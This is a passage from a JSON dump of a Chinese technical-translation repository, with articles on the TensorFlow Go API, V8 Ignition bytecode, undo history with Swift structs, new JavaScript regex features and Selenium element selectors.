类型张量代替\n\n\t// 接下来我们要计算 Y = Ax\n\n\t// 创建图的第一个节点：让这个空节点作为图的根\n\troot := op.NewScope()                       \n\n\t// 定义两个 placeholder\n\t// 在根定义域下定义两个自定义域，命名为 input。这样\n\t// 我们就能在根定义域下拥有 input/ 和 input_1/ 两个定义域了。\n\tA := op.Placeholder(root.SubScope(\"input\"), tf.Int32, op.PlaceholderShape(tf.MakeShape(2, 2)))   \n\tx := op.Placeholder(root.SubScope(\"input\"), tf.Int32, op.PlaceholderShape(tf.MakeShape(2, 1)))   \n\tfmt.Println(A.Op.Name(), x.Op.Name())       \n\n\t// 定义接受 A 与 x 输入的 op 节点\n\tproduct := op.MatMul(root, A, x)            \n\n\t// 每次我们传递一个域给一个操作的时候，\n\t// 我们都要将操作放在在这个域下。\n\t// 如你所见，现在我们已经有了一个空作用域（由 newScope）创建。这个空作用域\n\t// 是我们图的根，我们可以用“/”表示它。\n\n\t// 现在让 tensorflow 按照我们的定义建立图吧。\n\t// 依据我们定义的 scope 与 op 结合起来的抽象图，程序会创建相应的常数图。\n\tgraph, err := root.Finalize()               \n\tif err != nil {                             \n\t\t// 如果我们错误地定义了图，我们必须手动修正相关定义，\n\t\t// 任何尝试自动处理错误的方法都是无用的。\n\n\t\t// 就像 SQL 查询一样，如果查询不是有效的语法，我们只能重写它。\n\t\tpanic(err.Error())                  \n\t}                                           \n\n\t// 如果到这一步，说明我们的图语法上是正确的。\n\t// 现在我们可以将它放在一个 Session 中并执行它了！\n\n\tvar sess *tf.Session                        \n        sess, err = tf.NewSession(graph, &tf.SessionOptions{})                                           \n\tif err != nil {                             \n\t\tpanic(err.Error())                  \n\t}                                           \n\n\t// 为了使用 placeholder，我们需要创建传入网络的值的张量             \n\tvar matrix, column *tf.Tensor               \n\n\t// A = [ [1, 2], [-1, -2] ]                 \n\tif matrix, err = tf.NewTensor([2][2]int32{{1, 2}, {-1, -2}}); err != nil {                       \n\t\tpanic(err.Error())                  \n\t}                                           \n\t// x = [ [10], [100] ]                      \n\tif column, err = tf.NewTensor([2][1]int32{{10}, {100}}); err != nil {                            \n\t\tpanic(err.Error())                  \n\t}                                           \n\n\tvar results []*tf.Tensor                    \n\tif results, err = sess.Run(map[tf.Output]*tf.Tensor{                                             \n\t\tA: matrix,                          \n\t\tx: column,                          \n\t}, []tf.Output{product}, nil); err != nil {\n\t\tpanic(err.Error())                  \n\t}                                           \n\tfor _, result := range results {            \n\t\tfmt.Println(result.Value().([][]int32))                                            \n\t}\n}\n```\n\n#### 提问时间：\n\n关于 Tensorflow 的架构我们学到了什么？\n\n**每个操作都有自己的一组关联内核。Tensorflow 是一种强类型的描述性语言，它不仅遵循 C++ 类型规则，同时要求在 op 注册时需定义好类型才能实现其功能。**\n\n# 总结\n\n使用 Go 来定义与处理一个图让我们能够更好地理解 Tensorflow 的底层结构。通过不断地试错，我们最终解决了这个简单的问题，一步一步地掌握了图、节点以及类型系统的知识。\n\n如果你觉得这篇文章有用，请点个赞或者分享给别人吧~\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/understanding-v8s-bytecode.md",
    "content": "\n  > * 原文地址：[Understanding V8’s Bytecode](https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775)\n  > * 原文作者：[Franziska Hinkelmann](https://medium.com/@fhinkel)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/understanding-v8s-bytecode.md](https://github.com/xitu/gold-miner/blob/master/TODO/understanding-v8s-bytecode.md)\n  > * 译者：\n  > * 校对者：\n\n  # Understanding V8’s Bytecode\n\n  ![](https://cdn-images-1.medium.com/max/1600/1*4877k4Hq9dPdtmvg9hnGFA.jpeg)\n\nV8 is Google’s open source JavaScript engine. Chrome, Node.js, and many other applications use V8. This article explains V8’s bytecode format — which is actually easy to read once you understand some basic concepts.\n\n![](https://cdn-images-1.medium.com/max/1600/1*g8Tutq52nx6x44ELgz_UWg.png)\n\nIgnition! We have lift-off! Interpreter Ignition is part of our compiler pipeline since 2016.\nWhen V8 compiles JavaScript code, the parser generates an abstract syntax tree. A syntax tree is a tree representation of the syntacticstructure of the JavaScript code. Ignition, the interpreter, generates bytecode from this syntax tree. TurboFan, the optimizing compiler, eventually takes the bytecode and generates optimized machine code from it.\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZIH_wjqDfZn6NRKsDi9mvA.png)\n\nV8’s compiler pipeline\n\nIf you want to know why we have two execution modes, you can check out my video from JSConfEU:\n\n[![](https://i.ytimg.com/vi_webp/p-iiEDtpy6I/maxresdefault.webp)](https://www.youtube.com/embed/p-iiEDtpy6I)\n\n**Bytecode is an abstraction of machine code**. Compiling bytecode to machine code is easier if the bytecode was designed with the same computational model as the physical CPU. This is why interpreters are often register or stack machines. **Ignition is a register machine with an accumulator register.**\n\n![](https://cdn-images-1.medium.com/max/1600/1*aal_1sevnb-4UaX8AvUQCg.png)\n\nYou can think of V8's** bytecodes as small building blocks** that make up any JavaScript functionality when composed together. V8 has several hundred bytecodes. There are bytecodes for operators like `Add` or `TypeOf`, or for property loads like `LdaNamedProperty`. V8 also has some pretty specific bytecodes like `CreateObjectLiteral` or `SuspendGenerator`. The header file [bytecodes.h](https://github.com/v8/v8/blob/master/src/interpreter/bytecodes.h) defines the complete list of V8’s bytecodes.\n\nEach bytecode specifies its inputs and outputs as register operands. Ignition uses registers `r0, r1, r2, ...` and an accumulator register. Almost all bytecodes use the accumulator register. It is like a regular register, except that the bytecodes don’t specify it. For example, `Add r1` adds the value in register `r1` to the value in the accumulator. This keeps bytecodes shorter and saves memory.\n\nMany of the bytecodes begin with `Lda` or `Sta`. The `**a**` in `Ld**a**` and `St**a**` stands for **a**ccumulator. For example, `LdaSmi [42]` loads the Small Integer (Smi) `42` into the accumulator register. `Star r0` stores the value currently in the accumulator in register `r0`.\n\nSo far the basics, time to look at the bytecode for an actual function.\n\n    function incrementX(obj) {\n      return 1 + obj.x;\n    }\n\n    incrementX({x: 42});  // V8’s compiler is lazy, if you don’t run a function, it won’t interpret it.\n\n> If you want to see** V8's bytecode of JavaScript code**, you can print it by calling [D8](https://github.com/v8/v8/wiki/Using-D8) or Node.js (8.3 or higher) with the flag `--print-bytecode`. For Chrome, start Chrome from the command line with `--js-flags=\"--print-bytecode\"`, see [Run Chromium with flags](https://www.chromium.org/developers/how-tos/run-chromium-with-flags).\n\n    $ node --print-bytecode incrementX.js\n    ...\n    [generating bytecode for function: incrementX]\n    Parameter count 2\n    Frame size 8\n      12 E> 0x2ddf8802cf6e @    StackCheck\n      19 S> 0x2ddf8802cf6f @    LdaSmi [1]\n            0x2ddf8802cf71 @    Star r0\n      34 E> 0x2ddf8802cf73 @    LdaNamedProperty a0, [0], [4]\n      28 E> 0x2ddf8802cf77 @    Add r0, [6]\n      36 S> 0x2ddf8802cf7a @    Return\n    Constant pool (size = 1)\n    0x2ddf8802cf21: [FixedArray] in OldSpace\n     - map = 0x2ddfb2d02309 <Map(HOLEY_ELEMENTS)>\n     - length: 1\n               0: 0x2ddf8db91611 <String[1]: x>\n    Handler Table (size = 16)\n\nWe can ignore most of the output and focus on the actual bytecodes. Here is what each bytecode means, line by line.\n\n#### LdaSmi [1]\n\n`LdaSmi [1]` loads the constant value `1` in the accumulator.\n\n![](https://cdn-images-1.medium.com/max/1600/1*WIECS2Gd701BnheqXrWbag.png)\n\n#### Star r0\n\nNext, `Star r0` stores the value that is currently in the accumulator, `1,` in the register `r0`.\n\n![](https://cdn-images-1.medium.com/max/1600/1*271aYN7VC6ltaleyDfwhXg.png)\n\n#### `LdaNamedProperty a0, [0], [4]`\n\n`LdaNamedProperty` loads a named property of `a0` into the accumulator. `ai` refers to the i-th argument of `incrementX()`. In this example, we look up a named property on `a0`, the first argument of `incrementX()`. The name is determined by the constant `0`. `LdaNamedProperty` uses `0` to look up the name in a separate table:\n\n    - length: 1\n               0: 0x2ddf8db91611 <String[1]: x>\n\nHere, `0` maps to `x`. So this bytecode loads `obj.x`.\n\nWhat is the operand with value `4` used for? It is an index of the so-called *feedback vector* of the function `incrementX()`. The feedback vector contains runtime information that is used for performance optimizations.\n\nNow the registers look like this:\n\n![](https://cdn-images-1.medium.com/max/1600/1*sGFN376VKgf2hWXctBqZnw.png)\n\n#### Add r0, [6]\n\nThe last instruction adds `r0` to the accumulator, resulting in`43`. `6` is another index of the feedback vector.\n\n![](https://cdn-images-1.medium.com/max/1600/1*LAHuYIvZaXX8jH_STNHfmQ.png)\n\n#### Return\n\n`Return` returns the value in the accumulator. That is the end of the function `incrementX()`. The caller of `incrementX()` starts off with `43` in the accumulator and can further work with this value.\n\nAt a first glance, V8’s bytecode might look rather cryptic, especially with all the extra information printed. But once you know that Ignition is a register machine with an accumulator register, you can figure out what most bytecodes do.\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZrJKJqBsksWd-8uKM9OvgA.png)\n\n**Learned something? Clap your 👏 to say “thanks!” and help others find this article.**\n\n> Note: The bytecode described here is from V8 version 6.2, Chrome 62, and a (not yet released) version of Node 9. We always work on V8 to improve performance and memory consumption. In other V8 versions, thedetailsmightbe different.\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  "
  },
  {
    "path": "TODO/undo-history-in-swift.md",
    "content": ">* 原文链接 : [Undo History in Swift](http://chris.eidhof.nl/post/undo-history-in-swift/)\n* 原文作者 : [chriseidhof](https://twitter.com/chriseidhof/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zheaoli](https://github.com/Zheaoli)\n* 校对者: [xcc3641](https://github.com/xcc3641), [Jaeger](https://github.com/laobie)\n\n# 利用 Swift 在 APP 中实现撤销操作的功能\n\n在过去的一段时间里，有很多的Blog推出了关于他们想在**Swift**中所添加的动态特性的文章。事实上**Swift** 已经成为了一门具有相当多动态特性的语言：它拥有泛型，协议， 头等函数（译者注1：first-class function指函数可以像类一样作为参数传递），和包含很多可以的动态操作的函数的标准库，比如**map**和**filter**等（这意味着我们可以利用更安全更灵活的函数来代替 KVC 来使用 字符串）（译者注2：KVC指Key-Value-Coding一个非正式的 Protocol，提供一种机制来间接访问对象的属性）。对于大多数人而言，特别希望介绍[反射](http://inessential.com/2016/05/26/a_definition_of_dynamic_programming_in_t)这一特性，这意味着他们可以在程序运行时进行观察和修改。\n\n在**Swift**中，反射机制受到很多的限制，但是你仍然你可以在代码运行的时候动态的生成和插入一些东西。 比如这里是怎样为[**NSCoding**或者是JSON动态生成字典](http://chris.eidhof.nl/post/swift-mirrors-and-json/)的实例。\n\n今天在这里，我们将一起看一下在**Swift**中怎样去实现撤销功能。 其中一种方法是通过利用**Objective-C**中基于的反射机制所提供的**NSUndoManager**。通过利用**struct**，我们可以利用不同的方式在我们的APP中实现撤销这一功能。 在教程开始之前，请务必确保你自己已经理解了**Swift**中**struct**的工作机制(最重要的是理解他们都是独立的拷贝)。\n首先要声明的一点是，这篇文章并不是想告诉大家我们不需要对**runtime**进行操作，或者我们提供的是一种**NSUndoManager**的替代品。这篇文章只是告诉了大家一种不同的思考方式而已。\n\n我们首先创建一个叫做**UndoHistory**的**struct**。 通常而言，创建UndoHistory时会伴随一个警告，提示只有当A是一个struct的时才会生效。为了保存所有状态信息，我们需要将其存放入一个数组之中。当我们修改了什么时，我们只需要将其**push**进数组中，当我们希望进行撤回时，我们将其从数组中**pop**出去。我们通常希望有一个初试状态，所以我们需要建立一个初始化方法：\n~~~ Swift\n    struct UndoHistory<A> {\n        private let initialValue: A\n        private var history: [A] = []\n        init(initialValue: A) {\n            self.initialValue = initialValue\n        }\n    }\n~~~\n\n举个例子，如果我们想在一个**tableViewController**中通过数组的方式提供撤销操作，我们可以创建这样一个**struct**：\n~~~ Swift\n    var history = UndoHistory(initialValue: [1, 2, 3])\n~~~\n\n对于不同情境下的撤销操作，我们可以创建不同的**struct**来实现:\n~~~ Swift\n    struct Person {\n        var name: String\n        var age: Int\n    }\n~~~\n~~~ Swift\n    var personHistory = UndoHistory(initialValue: Person(name: \"Chris\", age: 31))\n~~~\n\n当然，我们希望获得当前的状态，同时设置当前状态。(换句话说：我们希望实时地操作我们的历史记录）。我们可以从**history**数组中的最后一项值来获取我们的状态，同时如果数组为空的话，我们便返回我们的初始值。 我们可以通过将当前状态添加至**history**数组来改变我们的操作状态。\n~~~ Swift\n    extension UndoHistory {\n        var currentItem: A {\n            get {\n                return history.last ?? initialValue\n            }\n            set {\n                history.append(newValue)\n            }\n        }\n    }\n~~~\n\n比如，如果我们想修改个人年龄（译者注3：指前面作者编写的**Person**结构体中的**age**属性）， 我们可以通过重新计算属性来很轻松的做到这一点：\n~~~ Swift\n    personHistory.currentItem.age += 1\n    personHistory.currentItem.age // Prints 32\n~~~\n\n当然，**undo** 方法的编写并未完成。对于从数组中移出最后一个元素来讲是非常简单的。 根据你自己的声明，你可以在数组为空的时候抛出一个异常，不过，我没有选择这样一种做法。\n~~~ Swift\n    extension UndoHistory {\n        mutating func undo() {\n            guard !history.isEmpty else { return }\n            history.removeLast()\n        }\n    }\n~~~\n\n很简单的使用它（译者注4：这里指作者前面所编写的**undo**相关代码）\n~~~ Swift\n    personHistory.undo()\n    personHistory.currentItem.age // Prints 31 again\n~~~~\n\n当然，我们到现在的**UndoHistory**操作只是基于一个很简单的**Person**类。比如，如果我们想利用**Array**来实现一个**tableviewcontroller**的**undo**操作，我们可以利用**属性**来获取从数组中得到的元素：\n~~~ Swift\n    final class MyTableViewController<item>: UITableViewController {\n        var data: UndoHistory<[item]>\n\n        init(value: [Item]) {\n            data = UndoHistory(initialValue: value)\n            super.init(style: .Plain)\n        }\n\n        override func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n            return data.currentItem.count\n        }\n\n        override func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {\n            let cell = tableView.dequeueReusableCellWithIdentifier(\"Identifier\", forIndexPath: indexPath)\n            let item = data.currentItem[indexPath.row]\n            // configure `cell` with `item`\n            return cell\n        }\n\n        override func tableView(tableView: UITableView, commitEditingStyle editingStyle: UITableViewCellEditingStyle, forRowAtIndexPath indexPath: NSIndexPath) {\n            guard editingStyle == .Delete else { return }\n            data.currentItem.removeAtIndex(indexPath.row)\n        }\n    }\n~~~\n\n在**struct**中另一个非常爽的特性是：我们可以自由的使用监听者模式。 比如,我们可以修改**data**的值：\n~~~ Swift\n    var data: UndoHistory<[item]> {\n        didSet {\n            tableView.reloadData()\n        }\n    }\n~~~\n\n我们即使是修改数组内很深的值（比如：**data.currentItem[17].name = \"John\"**），我们通过**didSet**也能很方便地定位到修改的地方。当然,我们可能希望做一些例如**reloadData**这样方便的事情。比如， 我们可以利用[Changeset](https://github.com/osteslag/Changeset) 库来计算变化，然后来根据插入/删除/移动/等不同的操作来添加动画。\n\n很明显的是, 这种方法有着它自身的缺点。例如，它保存了整个状态的历史操作，不是每次状态变化之间的不同点。 这种方法只使用了**struct**来实现**undo**操作 （更为准确的讲：是只使用了**struct**中值的一些特性）。这意味着，你并不需要去阅读 [**runtime**编程指导](https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Introduction/Introduction.html)这本书， 你只需要对**struct**和**generics**（译者注5：generics指泛型）有足够的了解。\n\n\n\n1.  为data.currentItem提供了一个可计算的属性 items 来进行获取和设置操作，是一个不错的想法。这使得**data-source**和**delegate**等方法的实现变得更为容易。\n2.  如果你想更进一步优化，这里有一些非常有意思的想法：添加恢复功能，或者是编辑功能。你可以在**tableView**中去实现, 如果你真的很天真的按照这个去做了，那么你会发现在你的**undo**历史中会存在重复记录。\n"
  },
  {
    "path": "TODO/upcoming-regexp-features.md",
    "content": "\n> * 原文地址：[Upcoming Regular Expression Features](https://developers.google.com/web/updates/2017/07/upcoming-regexp-features)\n> * 原文作者：[Jakob Gruber](https://developers.google.com/web/resources/contributors#jgruber)、[Yang Guo](https://developers.google.com/web/resources/contributors#yangguo)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/upcoming-regexp-features.md](https://github.com/xitu/gold-miner/blob/master/TODO/upcoming-regexp-features.md)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[atuooo](https://github.com/atuooo)、[Tina92](https://github.com/Tina92)\n\n# 即将到来的正则表达式新特性\n\nES2015 给 JavaScript 语言引入了许多新特性，其中包括正则表达式语法的一些重大改进，新增了 Unicode 编码 （`/u`） 和粘滞位 （`/y`）两个修饰符。而在那之后，发展也并未停止。经过与 TC39（ECMAScript 标准委员会）的其他成员的紧密合作，V8 团队提议并共同设计了让正则表达式更强大的几个新特性。\n\n这些新特性目前已经计划包含在 JavaScript 标准中。虽然提案还没有完全通过，但是它们已经进入 [TC39 流程的候选阶段](https://tc39.github.io/process-document/)了。我们已经以试验功能（见下文）在浏览器实现了这些特性，以便在最终定稿之前提供及时的设计和实现反馈给各自的提案作者。\n\n本文给您预览一下这个令人兴奋的未来。如果您愿意跟着体验这些即将到来的示例，可以在 `chrome://flags/#enable-javascript-harmony` 页面中开启实验性 JavaScript 功能。\n\n## 命名捕获\n\n正则表达式可以包含所谓的捕获（或捕获组），它可以捕获一部分匹配的文本。到目前为止，开发者只能通过索引来引用这些捕获，这取决于其在正则匹配中的位置。\n\n    const pattern =/(\\d{4})-(\\d{2})-(\\d{2})/u;\n    const result = pattern.exec('2017-07-10');\n    // result[0] === '2017-07-10'\n    // result[1] === '2017'\n    // result[2] === '07'\n    // result[3] === '10'\n\n\n但正则表达式已经因难于读、写和维护而臭名昭著，并且数字引用会使事情进一步复杂化。例如，在一个更长的表达式中判断一个独特捕获的索引是很困难的事：\n\n    /(?:(.)(.(?<=[^(])(.)))/  // 最后一个捕获组的索引是？\n\n\n更糟糕的是，更改一个表达式可能会潜在地转变所有已存在的捕获的索引：\n\n    /(a)(b)(c)\\3\\2\\1/     // 一些简单的有序的反向引用。\n    /(.)(a)(b)(c)\\4\\3\\2/  // 所有都需要更新。\n\n\n命名捕获是一个即将到来的特性，它允许开发者给捕获组分配名称来帮助尽可能地解决这些问题。语法类似于 Perl、Java、.Net 和 Ruby：\n\n    const pattern =/(?<year>\\d{4})-(?<month>\\d{2})-(?<day>\\d{2})/u;\n    const result = pattern.exec('2017-07-10');\n    // result.groups.year === '2017'\n    // result.groups.month === '07'\n    // result.groups.day === '10'\n\n\n命名捕获组也可以被命名的反向引用来引用，并传入 `String.prototype.replace`：\n\n    // 命名反向引用。\n    /(?<LowerCaseX>x)y\\k<LowerCaseX>/.test('xyx');  //true\n\n    // 字符串替换。\n    const pattern =/(?<fst>a)(?<snd>b)/;\n    'ab'.replace(pattern,'$<snd>$<fst>');                              // 'ba'\n    'ab'.replace(pattern,(m, p1, p2, o, s,{fst, snd})=> fst + snd);  // 'ba'\n\n\n关于这个新特性的全部详情可以在[规范提案](https://github.com/tc39/proposal-regexp-named-groups)中查看。\n\n## dotAll 修饰符\n\n默认情况下，元字符 `.` 在正则表达式中匹配除了换行符以外的任何字符：\n\n    /foo.bar/u.test('foo\\nbar');   // false\n\n\n一个提案引入了 dotAll 模式，通过 `/s` 修饰符来开启。在 dotAll 模式中，`.` 也可以匹配换行符。\n\n    /foo.bar/su.test('foo\\nbar');  // true\n\n\n关于这个新特性的全部详情可以在[规范提案](https://github.com/tc39/proposal-regexp-dotall-flag)中查看。\n\n## Unicode 属性逃逸（Unicode Property Escapes）\n\n正则表达式语法已经包含了特定字符类的简写。`\\d` 代表数字并且只能是 `[0-9]`；`\\w` 是单词字符的简写，或者写成 `[A-Za-z0-9_]`。\n\n自从 ES2015 引入了 Unicode，突然间大量的字符可以被认为是数字，例如圈一：①；或者被认为是字符的，例如中文字符：雪。\n\n它们都不会被 `\\d` 或 `\\w` 匹配。而改变这些简写的含义将会破坏已经存在的正则表达式模式。\n\n于是，新的字串类被[引入](https://github.com/tc39/proposal-regexp-unicode-property-escapes)。注意它们只在使用 `/u` 修饰符的 Unicode-aware 正则表达式中可用。\n\n    /\\p{Number}/u.test('①');      // true\n    /\\p{Alphabetic}/u.test('雪');  // true\n\n\n排除型字符可以使用 `\\P` 匹配。\n\n    /\\P{Number}/u.test('①');      // false\n    /\\P{Alphabetic}/u.test('雪');  // false\n\n\n统一码联盟还定义了许多方式来分类码位，例如数学符号和日语平假名字符：\n\n    /^\\p{Math}+$/u.test('∛∞∉');                            // true\n    /^\\p{Script_Extensions=Hiragana}+$/u.test('ひらがな');  // true\n\n\n全部受支持的 Unicode 属性类列表可以在目前的[规范提案](https://tc39.github.io/proposal-regexp-unicode-property-escapes/#sec-static-semantics-unicodematchproperty-p)中找到。更多示例请查看[这篇内容丰富的文章](https://mathiasbynens.be/notes/es-unicode-property-escapes)。\n\n## 后行断言\n\n先行断言从一开始就已经是 JavaScript 正则表达式语法的一部分。与之相对的后行断言也终于将被[引入](https://github.com/tc39/proposal-regexp-lookbehind)。你们中的一些人可能记得，这成为 V8 的一部分已经有一段时间了。我们甚至在底层已经用后行断言实现了 ES2015 规定的 Unicode 修饰符。\n\n“后行断言”这个名字已经很好地描述了它的涵义。它提供一个方式来限制一个正则，只有后行组匹配通过之后才继续匹配。它提供匹配和非匹配两种选择：\n\n    /(?<=\\$)\\d+/.exec('$1 is worth about ¥123');  // ['1']\n    /(?<!\\$)\\d+/.exec('$1 is worth about ¥123');  //['123']\n\n\n更多详细信息，查看我们[之前的一篇博文](https://v8project.blogspot.com/2016/02/regexp-lookbehind-assertions.html)，专门介绍了后行断言。相关示例可以查看[V8 测试用例](https://github.com/v8/v8/blob/master/test/mjsunit/harmony/regexp-lookbehind.js)。\n\n## 致谢\n\n本文的完成有幸得到了很多相关人士的帮助，他们的辛勤工作造就了这一切：特别是语言之王[Mathias Bynens](https://twitter.com/mathias)、[Dan Ehrenberg](https://twitter.com/littledan)、[Claude Pache](https://github.com/claudepache)、[Brian Terlson](https://twitter.com/bterlson)、[Thomas Wood](https://twitter.com/IgnoredAmbience)、Gorkem Yakin、和正则大师 [Erik Corry](https://twitter.com/erikcorry)；还有为语言规范作出努力的每一个人以及 V8 团队对这些特性的实施。\n\n希望您能像我们一样为这些新的正则表达式特性而感到兴奋！\n\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/upgrade-project-css-selector-custom-attributes.md",
    "content": "> * 原文地址：[Upgrade Your Project with CSS Selector and Custom Attributes](https://www.sitepoint.com/upgrade-project-css-selector-custom-attributes/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[Tim Harrison](https://www.sitepoint.com/author/tharrison/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/upgrade-project-css-selector-custom-attributes.md](https://github.com/xitu/gold-miner/blob/master/TODO/upgrade-project-css-selector-custom-attributes.md)\n> * 译者：[MechanicianW](https://github.com/mechanicianw)\n> * 校对者：[Hades](https://github.com/ironmaxtory) [tvChan](https://github.com/tvChan)\n\n# 用 CSS 选择器和自定义属性来升级你的项目\n\n**这篇文章原文刊登在 [TestProject](https://blog.testproject.io/2017/08/10/css-selector-custom-attributes/)。感谢你们的支持，让 SitePoint 成为可能。**\n\n[Selenium WebDriver](https://blog.testproject.io/2016/11/07/selenium-webdriver-3/) 的元素选择器是 [自动化测试框架](https://blog.testproject.io/2017/03/26/test-automation-infrastructure-fundamentals/) 中所提及的核心组件中的一种，同时也是与 web 应用进行交互的关键。在对 [自动化元素选择器](https://blog.testproject.io/2017/02/09/inspect-web-elements-chrome-devtools/) 的回顾中， 我们讨论了很多不同的选择器应用策略，探究其功能，权衡优缺点，最终我们推荐 [最佳的选择器应用策略](https://blog.testproject.io/2017/08/10/css-selector-custom-attributes/#CustomAttributes) —— 带有自定义属性的 CSS 选择器。\n\n## Selenium 的元素选择器\n\n选择最好的 [元素选择器](https://blog.testproject.io/2017/02/09/inspect-web-elements-chrome-devtools/#ElementSelector) 策略是成功的关键，也减轻了自动化工作的维护压力。因此，做出选择的时候应该从使用难度，多功能性，是否具有在线支持，文档丰富程度以及性能等多方面进行考虑。前期的充分考虑是有回报的，自动化工作会更容易维护。\n\n就像从技术方面考虑元素选择器一样，也要考虑到团队文化。在自动化工作中采用元素选择器时，在开发者与 QA 之间成熟的合作文化可以解锁更高成就，取得更好的效果。夯实软件开发周期中其它方面的合作基础不仅对自动化工作有益，更是对团队有益。\n\n所有的代码示例都是由 [Python](https://www.python.org/) 和 [Selenium WebDriver](https://blog.testproject.io/2016/11/07/selenium-webdriver-3/) 中的命令编写而成，但也普遍适用于其它编程语言和框架。\n\n### HTML 代码示例:\n\n在每一段的示例中，都是使用以下导航菜单的 HTML 片段代码：\n\n```\n<div id=\"main-menu\">\n  <div class=\"menu\"><a href=\"/home\">Home</a></div>\n  <div class=\"menu\"><a href=\"/shop\">Shop</a>\n    <div class=\"submenu\">\n      <a href=\"/shop/gizmo\">Gizmo</a>\n      <a href=\"/shop/widget\">Widget</a>\n      <a href=\"/shop/sprocket\">Sprocket</a>\n    </div>\n  </div>\n</div>\n```\n\n## 糟糕的选择器： 标签名，链接文本，部分链接文本和 name 属性选择器\n\n关于这部分内容不需要花太多时间来讲，因为这些选择器的使用场景都很有限。在整个自动化框架中广泛使用这些选择器不是一个好选择。它们所完成的需求完全可以通过其它元素选择器策略轻松实现。只有在特定需求中需要去处理特殊案例的时候才使用这几种选择器。即使如此，大多数特殊场景并没有特殊到非要使用这几种选择器才能解决。你可以在没有其他选择器选项可用（例如自定义标签或 id）的情况下使用。\n\n### 举个栗子：\n\n使用标签名称选择器，会选择到非常多的匹配到标签名称的元素。它的用途非常有限，只能作为在需要选择大量相同类型的元素的唯一情况下的解决方案。下面这个例子会返回示例 HTML 代码中全部 4 个 div 元素。\n\n```\ndriver.find_elements(By.TAG_NAME, \"div\")\n```\n\n也可以像下面的例子这样通过链接来选择。如你所见，这样只能定位到锚点标签而且只能定位这些锚点标签的文本：\n\n```\ndriver.find_elements(By.LINK_TEXT, \"Home\")\ndriver.find_elements(By.PARTIAL_LINK_TEXT, \"Sprock\")\n```\n\n最后，也可以通过 name 属性来选择元素，但是在 HTML 代码示例中可以看出，那些标签是没有 name 属性的。这在绝大多数应用中都是一个常见问题，因为给每个 HTML 属性中添加一个 name 属性不是常规的代码实践。假如主菜单元素像下面一样有一个 name 属性：\n\n```\n<div id=\"main-menu\" name=\"menu\"></div>\n```\n\n可以像这样匹配到这个元素：\n\n```\ndriver.find_elements(By.NAME, \"menu\")\n```\n\n如你所见，以上这些元素选择策略的使用场景都很有限。下面的方法都会更好一些，它们更灵活多变。\n\n### 总结: 标签名，链接文本，部分链接文本和 name 属性选择器\n\n| **优点** | **缺点** |\n| -------- | -------- |\n| 使用简单 | 不够灵活 |\n| 使用场景极其有限 |\n| 在某些场景甚至可能用不了 |\n\n## 还不错的选择器： XPath\n\nXPath 是一种灵活多变的选择器策略。这是我个人很喜欢的。XPath 可以选择页面中的任意元素，无论它有没有 class 和 id （虽然没有 class 和 id 的话很难维护）。该选项非常灵活有用，因为你可以选择 [父元素](https://www.w3schools.com/jsref/prop_node_parentelement.asp)。XPath也有许多内置的功能，可以让你自定义元素选择。\n\n但是，多功能性也带来了复杂性。鉴于 XPath 可以做这么多事，相比于其它选择器，它的学习曲线也更陡峭。这一不足是可以被它非常赞的在线文档抵消的。在 [W3Schools.com 上找到的 XPath 入门指南](https://www.w3schools.com/xml/xpath_intro.asp) 是一个很不错的资源。\n\n还应该指出，使用 XPath 的时候有一件事需要进行权衡。虽然可以通过 XPath 选择父元素并使用一系列内置函数，但是 XPath 在 IE 浏览器的表现不佳。在选择元素选择器策略时，应该考虑这个问题。如果你有选择父元素的需要的话，要考虑它对 IE 上进行的 